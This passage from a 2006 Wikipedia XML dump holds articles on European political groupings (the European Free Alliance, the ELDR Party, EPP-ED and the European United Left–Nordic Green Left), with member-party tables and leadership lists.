|[[Italy]]||[[Union Valdôtaine]]||[[Aosta Valley]]
|-
|[[Lithuania]]||[[Lithuanian Polish People's Party]]||[[Poles]]
|-
|[[Netherlands]] / [[Germany]]||[[Fryske Nasjonale Partij]]||[[Friesland]]
|-
|[[Poland]]||[[Silesian Autonomy Movement]]||[[Silesia]]
|-
|[[Spain]]||[[Bloque Nacionalista Galego]]||[[Galicia Spain|Galicia]]
|-
|[[Spain]]||[[Chunta Aragonesista]]||[[Aragon]]
|-
|[[Spain]]||[[Esquerra Republicana de Catalunya]]||[[Catalonia]]
|-
|[[Spain]]||[[Eusko Alkartasuna]]||[[Basque Country]]
|-
|[[Spain]]||[[Partido Andalucista]]||[[Andalusia]]
|-
|[[United Kingdom]]||[[Mebyon Kernow]]||[[Cornwall]]
|-
|[[United Kingdom]]||[[Plaid Cymru]]||[[Wales]]
|-
|[[United Kingdom]]||[[Scottish National Party]]||[[Scotland]]
|}

==Parties with Observer status==
{| border=1 cellpadding=5
|-
|[[Czech Republic]]||[[Moravian Democratic Party]]||[[Moravia]]
|-
|[[Romania]]||[[Liga Transilvania - Banat]]||[[Transylvania]]
|-
|[[Slovakia]]||[[Hungarian Federalist Party]]||[[Hungarians]]
|-
|[[Spain]]||[[Partit Socialista de Mallorca Entesa Nacionalista]]||[[Balearic Islands]]
|}

==External links==
*[http://www.e-f-a.org/home.php European Free Alliance website]
*[http://www.efa-dppe.org/ European Free Alliance (EFA) Manifesto for the June 2004 European elections]
*[http://www.greens-efa.org/ The Greens-European Free Alliance Group in the European Parliament]

{{EU politics}}

[[Category:Political parties in Europe|Free Alliance]]
[[Category:Politics of Scotland]]
[[Category:European politics]]
[[Category:Politics of the United Kingdom]]

{{euro-party-stub}}

[[de:Europäische Freie Allianz]]
[[fr:Alliance libre européenne]]
[[it:Alleanza Libera Europea]]
[[nl:Europese Vrije Alliantie]]
[[pl:Wolny Sojusz Europejski]]
[[fi:Euroopan vapaa allianssi]]
[[sv:Europeiska fria alliansen]]</text>
    </revision>
  </page>
  <page>
    <title>European Liberal Democrat and Reform Party</title>
    <id>9865</id>
    <revision>
      <id>40780889</id>
      <timestamp>2006-02-22T23:46:32Z</timestamp>
      <contributor>
        <username>The Tom</username>
        <id>12499</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/81.246.9.144|81.246.9.144]] ([[User talk:81.246.9.144|talk]]) to last version by Rich Farmbrough</comment>
      <text xml:space="preserve">{{Infobox_European_Political_Party |
  party_name = European Liberal Democrat and Reform Party |
  party_name_de = Europäische liberale demokratische und Reformpartei |
  party_name_fr = Parti européen des Libéraux, Démocrates et Réformateurs |
  party_name_it = Partito europeo dei democratici, liberali e riformatori  |
  party_name_es = Partido Europeo de los Liberales, Demócratas y Reformistas |
  party_articletitle = European Liberal Democrat and Reform Party |
  party_logo = [[Image:Logo eldr.gif|200px|Logo of the European Liberal Democrat and Reform Party]] |
  president = [[Annemie Neyts]] |
  foundation = [[1993]] (EP group)&lt;br/&gt;[[April 30]], [[2004]] (Party)|
  ideology = [[liberalism]]|
  international = [[Liberal International]] |
  europarl = [[Alliance of Liberals and Democrats for Europe]] |
  colours = [[Gold]] and [[Blue]]|
  headquarters = rue Montoyer 40,&lt;br/&gt;1000 [[Brussels]], [[Belgium]] |
  website = [http://www.eldr.org/ www.eldr.org]
}}
The '''European Liberal Democrat and Reform Party''' (founded in [[1993]]) is a [[liberal parties|liberal party]], mainly active in the [[European Union]], composed of national [[liberal parties|liberal]] and [[centrist]] parties from across Europe.

Having developed from a loose confederation of national political parties in the 1970s, the ELDR is now a recognised [[European political parties|European political party]] incorporated as a non-profit association under [[Belgium|Belgian]] [[law]]. Despite this legal status, the ELDR Party has yet to acheive significant grassroots involvement and retains much of the character of a mere [[confederation]] of national [[political party|political parties]].

The Party is politically represented in the [[European Parliament]] by the [[Alliance of Liberals and Democrats for Europe|ALDE Group]], formed in conjunction with the [[centrist]] [[European Democratic Party]], which is dominated by ELDR MEPs and led by [[Graham Watson]], a [[United Kingdom|British]] [[Liberal Democrats (UK)|Liberal Democrat]] and former leader of the separate ELDR Parliamentary Group.

[[2006|As of 2006]], the ELDR is the third-largest political party represented in [[European Union|EU]] institutions, with 62 [[Member of the European Parliament|MEPs]] and 8 members of the [[European Commission]]. 

Nationally, ELDR member parties participate in the national governments of 10 out of the 25 [[European Union|EU]] Member States, contributing four [[prime minister|prime ministers]]:
* [[Andrus Ansip]] ([[Eesti Reformierakond|ERP]], [[Estonia]])
* [[Anders Fogh Rasmussen]] ([[Venstre]], [[Denmark]])
* [[Matti Vanhanen]] ([[Keskusta]], [[Finland]])
* [[Guy Verhofstadt]] ([[VLD]], [[Belgium]])

The youth wing of the ELDR Party is the [[European Liberal Youth]], which is curiously abbreviated to LYMEC, which is predominantly based upon youth and student [[liberal parties|liberal]] organisations from across [[Europe]] but also contains a small number of individual members. [[European Liberal Youth|LYMEC]] is led by [[Catalan]] politician [[Roger Alibinyana i Saigi]], who was elected to a two-year term as LYMEC President in [[April 2004]], and has a collective membership of over 170,000 young liberal Europeans.

==Leadership==
The legal leadership of the ELDR Party is [[Annemie Neyts]], a Flemish [[Member of the European Parliament|MEP]] for the [[Belgium|Belgian]] [[VLD]]. Neyts, who is thought to be a close ally of [[Alliance of Liberals and Democrats for Europe|ALDE Group]] leader [[Graham Watson]], was elected for a two-year term of office at the a meeting of the ELDR Party Congress held in [[Bratislava]] in [[September 2005]], defeating former [[Netherlands|Dutch]] [[foreign minister]] [[Jozias van Aartsen]], parliamentary leader of the [[Netherlands|Dutch]] [[VVD]].

Despite possessing legal leadership of the Party, it is commonly believed that the ''[[de facto]]'' political leadership of the Party resides in ALDE leader [[Graham Watson]], with [[Annemie Neyts]] performing a more administrative role akin to that of a [[chairman|party chairman]].
==Structure==
===Bureau===
The day to day management of the ELDR Party is handled by the Bureau, the members of which are:

'''President'''
* [[Annemie Neyts]] MEP ([[VLD]], [[Belgium]]): ELDR Party President

'''Vice-Presidents'''
* [[Sharon Bowles]] MEP ([[Liberal Democrats (UK)|Lib Dem]], [[United Kingdom|UK]])
* [[Wilfried Derksen]] ([[D66]], [[Netherlands]])
* [[Katarina Gloncakova-Golev]] ([[ANO]], [[Slovakia]]) (''ANO Vice-President'')
* [[Johannes Lebech]] ([[Det Radikale Venstre|RV]], [[Denmark]])
* [[Markus Löning]] MP ([[FDP]], [[Germany]])
* [[Calin Popescu Tariceanu]] MP ([[PNL]], [[Romania]]) (''Prime Minister of Romania'')
* [[Androula Vassiliou]] MP ([[United Democrats]], [[Cyprus]])

'''Treasurer'''
* [[Bas Eenhoorn]] ([[VVD]], [[Netherlands]])

'''[[Alliance of Liberals and Democrats for Europe|ALDE]] Group Leaders'''
* [[Graham Watson]] MEP ([[Liberal Democrats (UK)|Lib Dem]], [[United Kingdom|UK]]): [[Alliance of Liberals and Democrats for Europe|ALDE]] Group Leader, [[European Parliament]]
* [[Matyas Eörsi]] MP ([[SZDSZ]], [[Hungary]]): [[Alliance of Liberals and Democrats for Europe|ALDE]] Group Leader, [[Parliamentary Assembly]] of the [[Council of Europe]]
* [[Ivo Opstelten]] ([[VVD]], [[Netherlands]]): [[Alliance of Liberals and Democrats for Europe|ALDE]] Group Leader, [[European Union|EU]] [[Committee of the Regions]]

'''Other Party Officials'''
* [[Willy De Clercq]] MEP ([[VLD]], [[Belgium]]): Honorary President
* [[Lex Corijn]] ([[VLD]], [[Belgium]]): ELDR Party Secretary-General
* [[Alexander Beels]] ([[VVD]], [[Netherlands]]): ALDE Group Secretary-General
* [[Roger Albinyana i Saigi]] ([[Convergencia]], [[Catalonia]]): President, [[European Liberal Youth]] (LYMEC)

===ELDR Congress===
The ELDR Congress is the [[sovereign body]] of the ELDR aisbl, usually meeting on an annual basis, and as such its primary purposes are to:
* Elect members of the ELDR Bureau
* Debate, and adopt, resolutions on matters of policy;
* Adopt the ELDR Party's electoral manifesto for [[European Parliament elections]]
* Make amendments to the ELDR Party Statutes

The voting members of the ELDR Congress number around 600-700, and are composed of:
* Members of the ELDR Council
* A number of representatives nominated by each of the Member Parties based on the number of votes that Party received at the last set of [[European Parliament elections]],
* 2 representatives nominated by each of the Affiliate Parties, and
* 10 representatives nominated by the European Liberal Youth.

In addition to the voting members of the ELDR Congress, the following are entitled to attend as non-voting members:
* ELDR members of the [[European Parliament]],
* ELDR members of the EU [[Committee of the Regions]],
* One delegate nominated by each of the [[liberal democrat]] groupings in other European parliamentary assemblies, and
* One delegate nominated by [[Liberal International]]

===ELDR Council===
The ELDR Council acts as the ELDR Party's [[de facto]] [[executive committee]], meeting inbetween meetings of the ELDR Congress, and is empowered to:
* Approve the budget of the ELDR Party;
* Approve ELDR membership applications; and
* Speak and act on behalf of the ELDR Party inbetween meetings of the ELDR Congress.

The voting members of the ELDR Council number around 100-150 members and are composed of:
* Voting members of the Bureau,
* Two or more representatives nominated by each of the Member Parties based on the number of votes that Party received at the last set of [[European Parliament elections]], and
* One representative nominated by each of the Affliate Parties, and
* One representative nominated by the [[European Liberal Youth]]

In addition to the voting members of the ELDR Council, the following are entitled to attend as non-voting members:
* Non-voting members of the Bureau,
* One representative nominated by each of the [[liberal democrat]] groups in European parliamentary assemblies (including the [[European Parliament]] and the [[Committee of the Regions]]), and
* One representative nominated by [[Liberal International]]

===ELDR Political Leaders Meeting===
In addition to the formal structure of the ELDR Party, there are convened at least two meetings a year of the Political Leaders Meeting in order to exchange views on the items on the agenda of the [[European Council]] and more general views on the European political situation.

The members of the Political Leaders Meeting are:
* The President and Vice-Presidents of the ELDR Party,
* ELDR Members of the [[European Commission]],
* ELDR Heads of Government,
* The political leaders of ELDR Member Parties,
* Other ELDR Ministers,
* The President of the [[European Liberal Youth]]

==History of pan-European liberalism==
{{liberalism}}

'''See also: [[History of pan-European liberalism]]'''

Pan-European liberalism has a long history dating back to the foundation of [[Liberal International]] in [[April]] [[1947]]. In [[March]] [[1976]], the Federation of Liberal and Democrat Parties in Europe was established, which gradually evolved into the ELDR Party with a group in the [[European Parliament]]

At an extraordinary Congress in Brussels held on [[April 30]] [[2004]] the day before the [[enlargement of the European Union]], the ELDR Party incorporated itself under [[Belgium|Belgian]] [[law]], being the first step towards legal recognition as a [[European political parties|European political party]]. 

It originated as the '''European Liberal, Democrat and Reform''' party grouping with seats in the [[European Parliament]], but on [[April 30]], [[2004]] (the day before the [[enlargement of the European Union]]) reformed itself as a [[European political party|pan-European political party]], although it has yet to organise itself at a grassroots level.

This was followed later that year by the establishment of the [[Alliance of Liberals and Democrats for Europe|ALDE]] political group in the European Parliament, in collaboration with the newly established [[European Democratic Party|EDP Party]].

==European Commissioners==
ELDR Member Parties contribute 7 out of the 25 members of the [[European Commission]]:
* [[Siim Kallas]] ([[Eesti Reformierakond|ERP]], [[Estonia]]): Vice-President (Administrative Affairs, Audit and Anti-Fraud)
* [[Mariann Fischer Boel]] ([[Venstre]], [[Denmark]]): Agriculture and Rural Development
* [[Neelie Kroes]] ([[VVD]], [[Netherlands]]): Competition
* [[Louis Michel]] ([[Reformist Movement|MR]], [[Belgium]]): Development and Humanitarian Aid
* [[Olli Rehn]] ([[Keskusta]], [[Finland]]): Enlargement
* [[Andris Piebalgs]] ([[Latvian Way]], [[Latvia]]): Energy
* [[Janez Potočnik]] ([[Liberal Democracy of Slovenia|LDS]], [[Slovenia]]): Science and Research

In addition to the 7 Commissioners contributed by ELDR Member Parties, one Commissioner is contributed by [[Democratic Party (Cyprus)|DIKO]] of [[Cyprus]], which is not affiliated to the ELDR Party but sits with the ELDR within the [[Alliance of Liberals and Democrats for Europe|ALDE Group]] in the [[European Parliament]]:
* [[Markos Kyprianou]] ([[Democratic Party (Cyprus)|DIKO]],[[Cyprus]]): Health and Consumer Protection

==Member Parties==
{{ALB}}

*[[Democratic Alliance (Albania)|Democratic Alliance Party]] (''Partia Aleanca Demokratike'')

{{AND}}

*[[Liberal Party of Andorra]] (''Partit Liberal d'Andorra'')

{{AUT}}

*[[Liberal Forum]] (''Liberales Forum'')

{{BEL}}

*[[Flemish Liberals and Democrats]] (''Vlaamse Liberalen en Democraten'')

*[[Reformist Movement]] (''Mouvement Réformateur'')

[[Image:Bosnia flag large.png|20px]] [[Bosnia and Herzegovina]]

*[[Liberal Democratic Party (Bosnia)|Liberal Democratic Party]] (''Liberalno Demokratska Stranka'')

{{BGR}}

*[[Movement for Rights and Freedoms]] (''Dvizhenie za prava i svobodi'')
*[[National Movement for Simeon II]] (''Nacionalno Dvizhenie Simeon Vtori'')

{{HRV}}

*[[Croatian People's Party-Liberal Democrats]] (''Hrvatska Narodna Stranka - Liberalni Demokrati'') 
*[[Croatian Social Liberal Party]] (''Hrvatska socijalno liberalna stranka'') 
*[[Liberal Party of Croatia]] (''Liberalna Stranka'') 

{{CYP}}

*[[United Democrats]] (''Enomeni Dimokrates'')

{{CZE}}

*[[Civic Democratic Alliance]] (''Obcanska demokraticka aliance'') 

{{DNK}}

*[[Det Radikale Venstre|Danish Social Liberal Party]] (''Det Radikale Venstre'')
*[[Liberal Party (Denmark)|Liberal Party of Denmark]] (''Venstre'') 

{{EST}}

*[[Centre Party of Estonia]] (''Eesti Keskerakond '') 
*[[Estonian Reform Party]] (''Eesti Reformierakond'') 

{{FIN}}

*[[Centre Party of Finland]] (''Suomen Keskusta'') 
*[[Swedish People's Party (Finland)|Swedish People's Party]] (''Svenska Folkpartiet'') 

{{DEU}}

*[[Free Democratic Party of Germany|Free Democratic Party]] (''Freie Demokratische Partei'') 

{{HUN}}

*[[Alliance of Free Democrats (Hungary)|Alliance of Free Democrats]] (''Szabad Demokratak Szövetsege '') 

{{IRL}}

*[[Progressive Democrats]]

{{ITA}}

*[[Italian Radicals|The Radicals]] (''I Radicali'')
*[[Italy of Values-List Di Pietro]] (''Italia dei Valori - Lista Di Pietro'')
*[[European Republican Movement]] (''Movimento Repubblicani Europei'')
*[[Italian Republican Party]] (''Partito Repubblicano Italiano'') 

{{LVA}}

*[[Latvian Way]] (''Latvijas Ceļš'') 

{{LIT}}

*[[Liberal and Centre Union]] (''Liberalų ir centro sąjunga'') 
*[[New Union Social Liberals]] (''Naujoji sąjunga (socialliberalai)'')

{{LUX}}

*[[Democratic Party (Luxembourg)]] (''Demokratesch Partei'') (Democratic Party)

{{MKD}}

*[[Liberal Party of Macedonia]] (''Liberalna Partija na Makedonija'') 

{{NLD}}

*[[Democrats 66]] (''Democraten 66'') 
*[[People's Party for Freedom and Democracy]] (''Volkspartij voor Vrijheid en Democratie'') 

{{NOR}}

*[[Left (Norway)|Liberal Party]] (''Venstre'')

{{POL}}

*[[Democratic Party - demokraci.pl]] (''Partia Demokratyczna - demokraci.pl'')

{{ROU}}

*[[National Liberal Party (Romania)|National Liberal Party]] (''Partidul Naţional Liberal'')

{{SCG}}

*[[Civic Alliance of Serbia]] (''Građjanski Savez Srbije'') 
*[[Liberals of Serbia]] (''Liberali Srbije'') 

{{SCG}} - [[Kosovo]]
*[[Liberal Party of Kosovo]] (''Partia Liberale e Kosoves'')

{{SVK}}

*[[Alliance of the New Citizen]] (''Aliancia Nového Občana'') 

{{SVN}}

*[[Liberal Democracy of Slovenia]] (''Liberalna demokracija Slovenije'') 

{{ESP}}

*[[Democratic Convergence of Catalonia]] (''Convergència Democràtica de Catalunya'') 

{{SWE}}

*[[Centre Party (Sweden)|Centre Party]] (''Centerpartiet'') 
*[[Liberal People's Party (Sweden)|Liberal People's Party]] (''Folkpartiet Liberalerna'')

{{CHE}}

*[[Free Democratic Party of Switzerland]] (''Freisinnig-Demokratische Partei/Parti Radical Démocratique'')

{{UK}}

*[[Liberal Democrats (UK)|Liberal Democrats]]
*[[Alliance Party of Northern Ireland]]
== See also ==
* [[Political parties of the world]]
* [[Liberal International]]
* [[European Liberal Youth]]

==External links==
*[http://www.eldr.org/ European Liberal Democrat and Reform Party (ELDR)] official site
*[http://www.lymec.org/ European Liberal Youth (LYMEC)]

{{EU_politics}}

[[Category:International liberal organizations]]
[[Category:Political parties in Europe|Liberal Democrat and Reform Party]]

[[cs:Evropská liberální, demokratická a reformní strana]]
[[da:ELDR]]
[[de:Europäische liberale demokratische und Reformpartei]]
[[es:Partido Europeo Liberal Demócrata Reformista]]
[[eo:Eŭropa Liberala Demokrata Reforma Partio]]
[[fr:Parti européen des libéraux, démocrates et réformateurs]]
[[nl:ELDR]]
[[pl:Partia Porozumienia Liberałów i Demokratów na rzecz Europy]]
[[fi:Euroopan liberaali- ja demokraattipuolue]]</text>
    </revision>
  </page>
  <page>
    <title>European People's Party - European Democrats</title>
    <id>9866</id>
    <revision>
      <id>38829777</id>
      <timestamp>2006-02-08T22:41:17Z</timestamp>
      <contributor>
        <username>Gabbe</username>
        <id>5894</id>
      </contributor>
      <comment>.png -&gt; .svg</comment>
      <text xml:space="preserve">[[Image:Epp-ed logo.jpg|right|EPP-ED logo]]
The '''European People's Party (Christian Democrats) and European Democrats''' is a group in the [[European Parliament]]. It is comprised of the '''[[European People's Party]]''' and the non-party subgroup '''[[European Democrats]]''' (not to be confused with the centrist [[European Democratic Party]]). The name of the grouping is abbreviated to '''EPP-ED'''.

In broad terms, EPP-ED is an alliance of [[Christian democrat]] and [[conservative]] parties.

The partnership between the EPP and ED began in May 1992.  After the European Parliament elections in [[1999]] it became the largest faction with 233 of the 626 seats. After the elections of [[2004]] it remained the largest party with 268 of the 732 seats.  
==Group members==
The EPP-ED is currently made up of the following parties:

{|border=1 cellpadding=5
|-
|'''Country'''||Party||[[List of Members of the European Parliament 2004-2009|MEPs]]||Subgroup
|-
|[[Image:Flag of Austria.svg|20px]] [[Politics of Austria|Austria]]||[[Österreichische Volkspartei]] (Austrian Peoples Party)|| 6 || [[European People's Party|EPP]]
|-
|rowspan=4 valign=center|[[Image:Flag of Belgium.svg|20px]] [[Politics of Belgium|Belgium]]||([[Politics of Flanders|Flanders]]): [[Christen-Democratisch en Vlaams]] (Christian Democratic &amp; Flemish)|| 3 || EPP
|-
|([[Politics of Flanders|Flanders]]): [[Nieuw-Vlaamse Alliantie]] (New Flemish Alliance)||1|| EPP
|-
|([[Wallonia]]): [[Centre démocrate Humaniste]] (Humanist Center Democrats)|| 1 || EPP
|-
|([[German-speaking community of Belgium|German]]): [[CSP-EVP|Christlich Soziale Partei]] (Christian Social Party)|| 1 || EPP
|-
|rowspan=2 valign=center|[[Image:Flag of Cyprus.svg|20px]] [[Politics of Cyprus|Cyprus]]||[[Democratic Rally|Dimokratikos Sinagermos]] (Democratic Rally)|| 2 || EPP
|-
|[[For Europe (Cyprus)|Gia tin Evropi]] (For Europe)|| 1 || EPP
|-
|rowspan=4 valign=center|[[Image:Flag of the Czech Republic.svg|20px]] [[Politics of the Czech Republic|Czech Republic]]||[[European Democrats (Czech Republic)|Evrop&amp;scaron;tí demokraté]] (European Democrats)||2 || EPP
|-
|[[Christian Democratic Union - Czechoslovak People's Party|K&amp;#345;es&amp;#357;ansko-demokratická unie - &amp;#268;eskoslovenská strana lidová]]  (Christian Democratic Union - Czechoslovak People's Party)||2 || EPP
|-
|bgcolor=#DDDDDD|[[Civic Democratic Party|Ob&amp;#269;anská demokratická strana]] (Civic Democratic Party) ||bgcolor=#DDDDDD| 9 ||bgcolor=#DDDDDD| [[European Democrats|ED]]
|-
|[[Union of Independents (Czech Republic)|SNK sdru&amp;#382;ení nezávislých]] (Union of Independents)||1 || EPP
|-
|[[Image:Flag of Denmark.svg|20px]] [[Politics of Denmark|Denmark]]||[[Det Konservative Folkeparti]] (The Conservative People's Party)|| 1 || EPP
|-
|[[Image:Flag of Estonia.svg|20px]] [[Politics of Estonia|Estonia]]||[[Isamaaliit]] (Fatherland Union)|| 1 || EPP
|-
|[[Image:Flag of Finland.svg|20px]] [[Politics of Finland|Finland]]||[[Kansallinen Kokoomus]] (National Coalition Party)|| 4 || EPP
|-
|[[Image:Flag of France.svg|20px]] [[Politics of France|France]]||[[Union pour un Mouvement Populaire]]|| 17 || EPP
|-
|rowspan=2 valign=center|[[Image:Flag of Germany.svg|20px]] [[Politics of Germany|Germany]]||[[Christian Democratic Union of Germany|Christlich Demokratische Union Deutschlands]] (Christian Democratic Union)|| 40 || EPP
|-
|[[Christian Social Union in Bavaria|Christlich Soziale Union in Bayern]] (Christian Social Union in Bavaria)|| 9 || EPP
|-
|[[Image:Flag of Greece.svg|20px]] [[Politics of Greece|Greece]]||[[Nea Demokratia]] (New Democracy)|| 11 || EPP
|-
|[[Image:Flag of Hungary.svg|20px]] [[Politics of Hungary|Hungary]]||[[Hungarian Civic Party|Fidesz - Magyar Polgári Szövetség]] (Hungarian Citizens' Party)|| 13 || EPP
|-
|[[Image:Flag of Ireland.svg|20px]] [[Politics of Ireland|Ireland]]||[[Fine Gael]]|| 5 || EPP
|-
|rowspan=5 valign=center|[[Image:Flag of Italy.svg|20px]] [[Politics of Italy|Italy]]||[[Cristiani Democratici Uniti]] (United Christian Democrats)|| 5 || EPP
|-
|[[Forza Italia]] (Forward Italy)|| 16 || EPP
|-
|[[Alleanza Popolare-UDEUR]] (Popular Alliance)|| 1 || EPP
|-
|bgcolor=#DDDDDD|[[Partito dei Pensionati]] (Pensioners' Party)||bgcolor=#DDDDDD| 1 ||bgcolor=#DDDDDD| ED
|-
|[[Südtiroler Volkspartei]] (South Tyrol People's Party)|| 1 || EPP
|-
|rowspan=2 valign=center|[[Image:Flag of Latvia.svg|20px]] [[Politics of Latvia|Latvia]]||[[New Era Party|Jaunais Laiks]] (New Era Party)|| 2 || EPP
|-
|[[Tautas Partija]] (People's Party)|| 1 || EPP
|-
|[[Image:Flag of Lithuania.svg|20px]] [[Politics of Lithuania|Lithuania]]||[[TS-LK|T&amp;#279;vyn&amp;#279;s s&amp;#261;junga -Lietuvos konservatoriai]] ((Homeland Union-Lithuanian Conservatives))|| 2 || EPP
|-
|[[Image:Flag of Luxembourg.svg|20px]] [[Politics of Luxembourg|Luxembourg]]||[[Christian Social People's Party|Chrëstlich Sozial Vollekspartei]] (Christian Social People's Party)|| 3 || EPP
|-
|[[Image:Flag of Malta.svg|20px]] [[Politics of Malta|Malta]]||[[Partit Nazzjonalista]] (Nationalist Party)|| 2 || EPP
|-
|[[Image:Flag of the Netherlands.svg|20px]] [[Politics of the Netherlands|Netherlands]]||[[Christen-Democratisch Appèl]] (Christian Democratic Appeal)|| 7 || EPP
|-
|rowspan=2 center=valign|[[Image:Flag of Poland.svg|20px]] [[Politics of Poland|Poland]]||[[Platforma Obywatelska]] (Citizens Platform)|| 15 || EPP
|-
|[[Polskie Stronnictwo Ludowe]] (Polish Peasants' Party)|| 1 || EPP
|-
|rowspan=2 valign=center|[[Image:Flag of Portugal.svg|20px]] [[Politics of Portugal|Portugal]]||[[Partido Social Democrata]] (Party of Social Democrats)|| 7 || EPP
|-
|bgcolor=#DDDDDD|[[People's Party (Portugal)|Partido Popular]] (People's Party)||bgcolor=#DDDDDD| 2 ||bgcolor=#DDDDDD| ED
|-
|rowspan=3 valign=center|[[Image:Flag of Slovakia.svg|20px]] [[Politics of Slovakia|Slovakia]]||[[Magyar Koalicio Partja|Magyar Koalíció Pártja]] (Party of the Hungarian Coalition)|| 2 || EPP
|-
|[[Krestansko-demokraticke hnutie|Kres&amp;#357;ansko-demokratické hnutie]] (Christian Democratic Movement)|| 3 || EPP
|-
|[[Slovenská demokraticka a krestanska unia|Slovenská demokratická a kres&amp;#357;anská únia]] (Slovak Democratic and Christian Union)|| 3 || EPP
|-
|rowspan=3 valign=center|[[Image:Flag of Slovenia.svg|20px]] [[Politics of Slovenia|Slovenia]]||[[Nova Slovenija]] (New Slovenia, Christian People's Party)|| 2 || EPP
|-
|[[Slovenska demokratska stranka]] (Slovenian Democratic Party)|| 2 || EPP
|-
|[[Slovenska ljudska stranka]] (Slovene People's Party)|| 0 || EPP
|-
|[[Image:Flag of Spain.svg|20px]] [[Politics of Spain|Spain]]||[[Partido Popular]] (People's Party)|| 24 || EPP
|-
|rowspan=2 valign=center|[[Image:Flag of Sweden.svg|20px]] [[Politics of Sweden|Sweden]]||[[Moderaterna]] (Moderates)|| 4 || EPP
|-
|[[Kristdemokraterna]] (Christian Democrats)|| 1 || EPP
|-
|rowspan=2 valign=center|[[Image:Flag of the United Kingdom.svg|20px]] [[Politics of United Kingdom|United Kingdom]]||bgcolor=#DDDDDD| [[Conservative Party (UK)|Conservative Party]] ||bgcolor=#DDDDDD| 27 ||bgcolor=#DDDDDD| ED
|-
|bgcolor=#DDDDDD|([[Northern Ireland]]): [[Ulster Unionist Party]]||bgcolor=#DDDDDD| 1 ||bgcolor=#DDDDDD| ED
|}

==See also==
* [[Political parties of the world]]
* [[Members of the European Parliament 2004-2009]]

== External links ==
* [http://epp-ed.europarl.eu.int/home/en/default.asp EPP-ED grouping in the European Parliament]
* [http://www.epp-ed.org EPP-ED Home page]
{{EU_politics}}
[[Category:European Parliament party groups]]


[[nl:Europese Volkspartij en Europese Democraten]]
[[fi:Euroopan parlamentin konservatiiviryhmä]]
[[sv:Europeiska folkpartiet (kristdemokrater) och Europademokraterna]]</text>
    </revision>
  </page>
  <page>
    <title>European United Left - Nordic Green Left</title>
    <id>9867</id>
    <revision>
      <id>41944970</id>
      <timestamp>2006-03-02T20:20:12Z</timestamp>
      <contributor>
        <username>Palmiro</username>
        <id>105180</id>
      </contributor>
      <minor />
      <comment>/* Member parties */ rm random character</comment>
      <text xml:space="preserve">[[Image:Logo_gue-ngl.gif|right|frame|GUE-NGL logo]]
The '''European United Left&amp;ndash;Nordic Green Left''' is a [[socialism|socialist]] and [[Communism|communist]] [[political]] grouping within the [[European Parliament]]. In 2005 it had 41 MEPs.

It combines the '''European United Left''' subgroup (which consists of a core of parties that are in the [[Party of the European Left]] and a periphery of unaffiliated leftist parties) and the '''Nordic Green Left''' subgroup consisting of MEPs from the [[Nordic Green Left Alliance]] parties of [[Sweden]] and [[Finland]].

It has several classes of members: Member Parties are those who are full members of the group. Several parties recently moved from being Observer Parties to Member Parties as their countries joined the EU. Associate Member Parties are from European countries not in the EU. Parties with MEPs as Associate Members are those who do not want to be full members of the group. 

==Member parties==
It is made up of the following national [[political party|political parties]]:

{| class=&quot;wikitable&quot;
|-
!Country
!National Member Party
!Subgroup
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Cyprus]]
|bgcolor=&quot;#ffc0cb&quot;|[[Progressive Party of Working People]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;2&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Czech Republic]]
|bgcolor=&quot;#ffc0cb&quot;|[[Komunistická strana Cech a Moravy|Communist Party of Bohemia and Moravia]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;2&lt;/sup&gt;
|-
|bgcolor=&quot;#ccffcc&quot;|[[Finland]]
|bgcolor=&quot;#ccffcc&quot;|[[Left Alliance (Finland)|Left Alliance]]
|bgcolor=&quot;#ccffcc&quot;|[[Nordic Green Left Alliance|NGL]]
|-
|bgcolor=&quot;#ffc0cb&quot;|[[France]]
|bgcolor=&quot;#ffc0cb&quot;|[[French Communist Party|Parti Communiste Français]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Germany]]
|bgcolor=&quot;#ffc0cb&quot;|[[Left Party (Germany)|Left Party]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot; rowspan=&quot;2&quot;|[[Greece]]
|bgcolor=&quot;#ffc0cb&quot;|[[Coalition of the Left and Progress|Synaspismos]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Communist Party of Greece]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;3&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Ireland]] 
|bgcolor=&quot;#ffc0cb&quot;|[[Sinn Féin]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;3&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot; rowspan=&quot;2&quot;|[[Italy]]
|bgcolor=&quot;#ffc0cb&quot;|[[Communist Refoundation Party|Rifondazione Comunista]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Partito dei Comunisti Italiani|Party of the Italian Communists]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;2&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Netherlands]]
|bgcolor=&quot;#ffc0cb&quot;|[[Socialist Party (Netherlands)|Socialist Party]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;3&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Portugal]]
|bgcolor=&quot;#ffc0cb&quot;|[[Portuguese Communist Party]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;3&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Slovakia]]
|bgcolor=&quot;#ffc0cb&quot;|[[Komunistickà Strana Slovenska|Communist Party of Slovakia]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;2&lt;/sup&gt;
|-
|bgcolor=&quot;#ffc0cb&quot;|[[Spain]]
|bgcolor=&quot;#ffc0cb&quot;|[[Izquierda Unida]]
|bgcolor=&quot;#ffc0cb&quot;|UEL&lt;sup&gt;1&lt;/sup&gt;
|-
